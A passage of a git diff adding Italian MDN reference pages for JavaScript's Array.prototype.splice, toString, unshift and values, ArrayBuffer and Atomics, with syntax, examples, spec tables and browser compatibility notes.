+ <dd>Se <code>deleteCount</code> è 0 o negativo, non vengono rimossi elementi. In questo caso, devi specificare almeno un nuovo elemento (vedi sotto).</dd>
+ <dt><code>item1, item2, <em>...</em></code> {{optional_inline}}</dt>
+ <dd>Gli elementi da aggiungere all'array, a partire da <code>start</code>. Se non viene specificato alcun elemento, <code>splice()</code> rimuoverà solo gli elementi dall'array.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un array contenente gli elementi eliminati. Se viene rimosso solo un elemento, viene restituito un array di un elemento. Se non vengono rimossi elementi, viene restituito un array vuoto.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se il numero specificato di elementi da inserire differisce dal numero di elementi da rimuovere, la lunghezza dell'array sarà diversa alla fine della chiamata.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Rimuovi_0_(zero)_elementi_dall'indice_2_e_inserisci_drum">Rimuovi 0 (zero) elementi dall'indice 2 e inserisci "drum"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum');
+
+// myFish è ["angel", "clown", "drum", "mandarin", "sturgeon"]
+// removed è [], nessun elemento rimosso</pre>
+
+<h3 id="Rimuovi_0_(zero)_elementi_dall'indice_2_e_inserisci_drum_e_guitar">Rimuovi 0 (zero) elementi dall'indice 2 e inserisci "drum" e "guitar"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum', 'guitar');
+
+// myFish è ["angel", "clown", "drum", "guitar", "mandarin", "sturgeon"]
+// removed è [], nessun elemento rimosso
+</pre>
+
+<h3 id="Rimuovi_1_elemento_dall'indice_3">Rimuovi 1 elemento dall'indice 3</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(3, 1);
+
+// removed è ["mandarin"]
+// myFish è ["angel", "clown", "drum", "sturgeon"]
+</pre>
+
+<h3 id="Rimuovi_1_elemento_dall'indice_2_e_inserisci_trumpet">Rimuovi 1 elemento dall'indice 2 e inserisci "trumpet"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon'];
+var removed = myFish.splice(2, 1, 'trumpet');
+
+// myFish è ["angel", "clown", "trumpet", "sturgeon"]
+// removed è ["drum"]</pre>
+
+<h3 id="Rimuovere_2_elementi_dall'indice_0_e_inserire_parrot_anemone_e_blue">Rimuovere 2 elementi dall'indice 0 e inserire "parrot", "anemone" e "blue"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue');
+
+// myFish è ["parrot", "anemone", "blue", "trumpet", "sturgeon"]
+// removed è ["angel", "clown"]</pre>
+
+<h3 id="Rimuovere_2_elementi_dall'indice_2">Rimuovere 2 elementi dall'indice 2</h3>
+
+<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(myFish.length - 3, 2);
+
+// myFish è ["parrot", "anemone", "sturgeon"]
+// removed è ["blue", "trumpet"]</pre>
+
+<h3 id="Rimuovere_1_elemento_dall'indice_-2">Rimuovere 1 elemento dall'indice -2</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(-2, 1);
+
+// myFish è ["angel", "clown", "sturgeon"]
+// removed è ["mandarin"]</pre>
+
+<h3 id="Rimuovere_tutti_gli_elementi_dopo_l'indice_2_(incl.)">Rimuovere tutti gli elementi dopo l'indice 2 (incl.)</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2);
+
+// myFish è ["angel", "clown"]
+// removed è ["mandarin", "sturgeon"]</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — aggiunge/rimuove elementi dalla fine dell'array</li>
+ <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — aggiunge/rimuove elementi dall'inizio dell'array</li>
+ <li>{{jsxref("Array.prototype.concat()", "concat()")}} — restituisce un nuovo array composto da questo array unito ad altri array e/o valore/i</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/tostring/index.html b/files/it/web/javascript/reference/global_objects/array/tostring/index.html
new file mode 100644
index 0000000000..a5b8dcaa1e
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/tostring/index.html
@@ -0,0 +1,80 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toString
+tags:
+  - Array
+  - JavaScript
+  - Prototype
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>toString()</strong></code> restituisce una stringa che rappresenta l'array specificato e i suoi elementi.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-tostring.html")}}</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toString()</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una stringa che rappresenta gli elementi dell'array.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>L'oggetto {{jsxref("Array")}} sovrascrive il metodo <code>toString</code> di {{jsxref("Object")}}. Per gli oggetti Array, il metodo <code>toString</code> unisce l'array e restituisce una stringa contenente ciascun elemento dell'array separato da virgole.</p>
+
+<p>JavaScript chiama automaticamente il metodo <code>toString</code> quando un array deve essere rappresentato come un valore di testo o quando viene fatto riferimento a un array in una concatenazione di stringhe.</p>
+
+<h3 id="ECMAScript_5_semantics">ECMAScript 5 semantics</h3>
+
+<p>A partire da JavaScript 1.8.5 (Firefox 4) e coerente con la semantica ECMAScript 5th edition, il metodo <code>toString()</code> è generico e può essere utilizzato con qualsiasi oggetto. {{jsxref("Object.prototype.toString()")}} sarà chiamato e verrà restituito il valore risultante.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.toString")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/unshift/index.html b/files/it/web/javascript/reference/global_objects/array/unshift/index.html
new file mode 100644
index 0000000000..ca4597e973
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/unshift/index.html
@@ -0,0 +1,98 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/unshift
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<div>Il metodo <strong><code>unshift()</code></strong> aggiunge uno o più elementi all'inizio di un array e restitusce la nuova lunghezza dell'array stesso.</div>
+
+<div> </div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.unshift(<var>element1</var>[, ...[, <var>elementN</var>]])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Gli elementi da aggiungere all'inizio dell'array.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<dl>
+ <dd>La nuova proprietà {{jsxref("Array.length", "length")}} dell'oggetto su cui è stato chiamato il metodo.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>unshift</code> inserisce i valori passati come parametri all'inizio di un oggetto array-like.</p>
+
+<p><code>unshift</code> è instenzionalmente generico; questo metodo può essere {{jsxref("Function.call", "chiamato", "", 1)}} o {{jsxref("Function.apply", "applicato", "", 1)}} su oggetti che assomigliano ad un array. Oggetti che non contengono una proprietà <code>length</code> che rifletta l'ultimo di una serie di consecutive proprietà numeriche zero-based potrebbero non comportarsi in alcun modo significativo.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">var arr = [1, 2];
+
+arr.unshift(0); // result of call is 3, the new array length
+// arr is [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr is [-2, -1, 0, 1, 2]
+
+arr.unshift([-3]);
+// arr is [[-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.unshift")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/values/index.html b/files/it/web/javascript/reference/global_objects/array/values/index.html
new file mode 100644
index 0000000000..f3019ef144
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/values/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Array/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Il metodo </span></font><strong>values()</strong></code> restituisce un nuovo oggetto <strong><code>Array Iterator</code></strong> che contiene i valori per ogni indice nell'array.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-values.html")}}</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'e'];
+var iterator = a.values();
+
+console.log(iterator.next().value); // a
+console.log(iterator.next().value); // b
+console.log(iterator.next().value); // c
+console.log(iterator.next().value); // d
+console.log(iterator.next().value); // e</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.values()</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un nuovo oggetto iteratore {{jsxref("Array")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Iterazione_utilizzando_il_for...of_loop">Iterazione utilizzando il  <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> loop</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c', 'd', 'e'];
+var iterator = arr.values();
+
+for (let letter of iterator) {
+  console.log(letter);
+}
+</pre>
+
+<p><strong>Array.prototype.values</strong> è una implementazionde di default di <strong>Array.prototype[Symbol.iterator]</strong>.</p>
+
+<pre>Array.prototype.values === Array.prototype[Symbol.iterator]      //true</pre>
+
+<p><strong>TODO</strong>: please write about why we need it, use cases.</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.values")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/arraybuffer/index.html b/files/it/web/javascript/reference/global_objects/arraybuffer/index.html
new file mode 100644
index 0000000000..118b3d2801
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -0,0 +1,147 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+tags:
+  - Array tipizzati
+  - ArrayBuffer
+  - Constructor
+  - Costruttore
+  - JavaScript
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>L'oggetto <code>ArrayBuffer</code> viene utilizzato per rappresentare un buffer di lunghezza fissa di dati non elaborati. Non è possibile manipolare il contenuto di un <code>ArrayBuffer</code>, è possibile invece creare un array di oggetti tipizzati o un oggetto di tipo {{jsxref("DataView")}} che rappresenta il buffer in uno specifico formato ed utilizzare questo per leggere e scrivere il contenuto del buffer.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(length)
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>La dimensione, in bytes, dell'array buffer da creare.</dd>
+</dl>
+
+<h3 id="Valori_di_ritorno">Valori di ritorno</h3>
+
+<p>Un nuovo oggetto di tipo <code>ArrayBuffer</code> della dimensione specificata. Il suo contenuto è inzializzato a 0.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<p>Un {{jsxref("RangeError")}} viene generato se la lunghezza è maggiore di di {{jsxref("Number.MAX_SAFE_INTEGER")}} (&gt;= 2 ** 53) oppure è negativa.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il costruttore <code>ArrayBuffer</code> crea un nuovo <code>ArrayBuffer</code> di lunghezza specificata in bytes.</p>
+
+<h3 id="Ottenere_un_array_buffer_da_dati_pre-esistenti">Ottenere un array buffer da dati pre-esistenti</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Da una stringa in Base64</a></li>
+ <li><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()">Da un file locale</a></li>
+</ul>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd>La dimensione del costruttore <code>ArrayBuffer</code> il cui valore è 1.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>La funzione costruttore utilizzata per creare oggetti derivati.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
+ <dd>Permette di aggiungere proprietà a tutti gli oggetti di tipo <code>ArrayBuffer</code>.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
+ <dd>Restituisce <code>true</code> se <code>args</code> è una delle viste di ArrayBuffer, come un array di oggetti tipizzato o un {{jsxref("DataView")}}. Altrimenti restituisce <code>false</code>.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
+ <dd>Restituisce un nuovo <code>ArrayBuffer</code> i cui contenuti sono presi dai dati dell'oggetto <code>oldBuffer</code> e successivamente troncato o esteso a zero tramite <code>newByteLength</code>.</dd>
+</dl>
+
+<h2 id="Istanze">Istanze</h2>
+
+<p>Tutte le istanze di ArrayBuffer ereditano da {{jsxref("ArrayBuffer.prototype")}}.</p>
+
+<h3 id="Proprietà_2">Proprietà</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}</p>
+
+<h3 id="Metodi_2">Metodi</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}</p>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt>
+ <dd>Esegue le stesse operazioni di {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>In questo esempio viene creato un buffer di 8 byte con una vista di tipo {{jsxref("Global_Objects/Int32Array", "Int32Array")}} che si riferisce al buffer</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view   = new Int32Array(buffer);</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Sostituito da ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p>Definizione iniziale con standard ECMA. Specifica che <code>new</code> è richiesto.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer")}}</p>
+
+<h2 id="Note_sulla_compatibilità">Note sulla compatibilità</h2>
+
+<p>Con ECMAScript 2015, ArrayBuffer deve essere inizializzato con l'operatore  {{jsxref("Operators/new", "new")}}. Inizializzare ArrayBuffer senza l'operatore new genererà un {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = ArrayBuffer(10);
+// TypeError: inizializzaree un ArrayBuffer senza il costruttore new
+// genererà un errore
+</pre>
+
+<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre>
+
+<h2 id="Leggi_anche">Leggi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/atomics/index.html b/files/it/web/javascript/reference/global_objects/atomics/index.html
new file mode 100644
index 0000000000..56c3ed5ecc
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/atomics/index.html
@@ -0,0 +1,166 @@
+---
+title: Atomics
+slug: Web/JavaScript/Reference/Global_Objects/Atomics
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
+---
+<div>{{JSRef}}</div>
+
+<p>L' oggetto <strong><code>Atomics</code></strong> fornisce operazioni atomiche come metodi statici. Sono utilizzati con gli oggetti {{jsxref("SharedArrayBuffer")}}.</p>
+
+<p>Le operazioni atomiche sono implementate nel modulo <code>Atomics</code>. Diversamente dagli altri oggetti global, <code>Atomics</code> non è un constructor. Non è, quindi, possibile utilizzarlo con <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> o invocare l'oggetto <code>Atomics</code> come una funzione. Tutte le proprietà ed i metodi di <code>Atomics</code> sono statici (come per esempio nel caso dell'oggetto {{jsxref("Math")}}).</p>
+
+<h2 id="Propertà">Propertà</h2>
+
+<dl>
+ <dt><code>Atomics[Symbol.toStringTag]</code></dt>
+ <dd>Il valore di questa proprietà è "Atomics".</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<h3 id="Operazioni_Atomiche">Operazioni Atomiche</h3>
+
+<p>Quando la memoria è condivisa, molti thread possono leggere e scrivere gli stessi dati in memoria. Le operazioni atomiche fanno in modo che: siano scritti e letti valori predicibili, che ciscuna operazione termini prima che la successiva abbia inizio e che ciascuna operazione non sia interrotta.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.add()")}}</dt>
+ <dd>Aggiunge un determinato valore in una determinata posizione dell'array. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+ <dt>{{jsxref("Atomics.and()")}}</dt>
+ <dd>Calcola un "bitwise AND" in una determinata posizione dell'array. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+ <dt>{{jsxref("Atomics.compareExchange()")}}</dt>
+ <dd>Memorizza un dato valore in una posizione dell'array, se questo valore è uguale ad un altro determinato valore. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+ <dt>{{jsxref("Atomics.exchange()")}}</dt>
+ <dd>Memorizza un dato valore in una determinata posizione nell'array. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Atomics.load()")}}</dt>
+ <dd>Restituisce il valore di una determinata posizione nell'array.</dd>
+ <dt>{{jsxref("Atomics.or()")}}</dt>
+ <dd>Calcola un "bitwise OR" in una determinata posizione dell'array. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+ <dt>{{jsxref("Atomics.store()")}}</dt>
+ <dd>Memorizza un dato valore in una determinata posizione dell'array. Restituisce lo stesso valore momorizzato.</dd>
+ <dt>{{jsxref("Atomics.sub()")}}</dt>
+ <dd>Sottrae un determinato valore ad una data posizione dell'array. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+ <dt>{{jsxref("Atomics.xor()")}}</dt>
+ <dd>Calcola un "bitwise XOR" in una determinata posizione dell'array. Restituisce il vecchio valore che occupava la medesima posizione nell'array.</dd>
+</dl>
+
+<h3 id="Wait_and_wake">Wait and wake</h3>
+
+<p>I metodi <code>wait()</code> e <code>wake() </code>sono modellati sul futexes ("fast user-space mutex") di Linux e forniscono metodi di attesa finchè una certa condizione non diventa vera e sono tipicamente utilizzati in costrutti bloccanti.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.wait()")}}</dt>
+ <dd>
+ <p>Verifica che una certa posizione dell'array continui a contenere un determinato valore e si mette in attesa o va in time-out. Restituisce i valori <code>"ok"</code>, <code>"not-equal"</code>, oppure <code>"timed-out"</code>. Se l'attesa non è consentita dall'agente che effettua la chiamata, allora il metodo innesca una "Error Exception" (molti browsers non consentiranno <code>wait()</code> nel loro thread principale)</p>
+ </dd>
+ <dt>{{jsxref("Atomics.wake()")}}</dt>
+ <dd>"Sveglia" gli agenti dormienti nella coda di wait in una determinata posizione dell'array. Restituisce il numero degli agenti "svegliati".</dd>
+ <dt>{{jsxref("Atomics.isLockFree()", "Atomics.isLockFree(size)")}}</dt>
+ <dd>
+ <p>Un primitiva di ottimizzazione che può essere utilizzata per determinare quando utilizzare "lock" o operazioni atomiche. Restituisce <code>true</code>, se un operazione atomica su un array di una data dimensione può essere implementata utilizzando operazioni atomiche hardware (invece del "lock"). Solo per esperti.</p>
+ </dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definizione Iniziale in ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-atomics-object', 'Atomics')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatGeckoDesktop("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox, dalla versione 46 alla versione 54 questa feature è disabilitata da una configurazione avenzata. In about:config, configurare <code>javascript.options.shared_memory</code> a <code>true</code>. </p>
+
+<p>[2] L' implementazione è in via di sviluppo e richiede i flag di runtime: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Note_di_Compatibilità">Note di Compatibilità</h2>
+
+<p>Prima di SpiderMonkey 48 {{geckoRelease(48)}}, i nomi e le semantiche delle API non erano ancora state implementate. Le modifiche tra la versione 46 e la versione 48 di Firefox, sono:</p>
+
+<ul>
+ <li>I metodi <code>Atomics.futexWakeOrRequeue()</code> e <code>Atomics.fence()</code> sono stati completamente rimossi ({{bug(1259544)}} e {{bug(1225028)}}).</li>
+ <li>I metodi {{jsxref("Atomics.wait()")}} e {{jsxref("Atomics.wake()")}} sono sati chiamati <code>Atomics.futexWait()</code> e <code>Atomics.futexWake()</code> ({{bug(1260910)}}). Nota: I vecchi nomi sono stati rimossi nella versione 49 e successive ({{bug(1262062)}}).</li>
+ <li>Le proprietà <code>Atomics.OK</code>, <code>Atomics.TIMEDOUT</code>, <code>Atomics.NOTEQUAL</code> sono state rimosse. Il metodo {{jsxref("Atomics.wait()")}} adesso restituisce le stringhe "ok", "timed-out" e "not-equal" ({{bug(1260835)}}).</li>
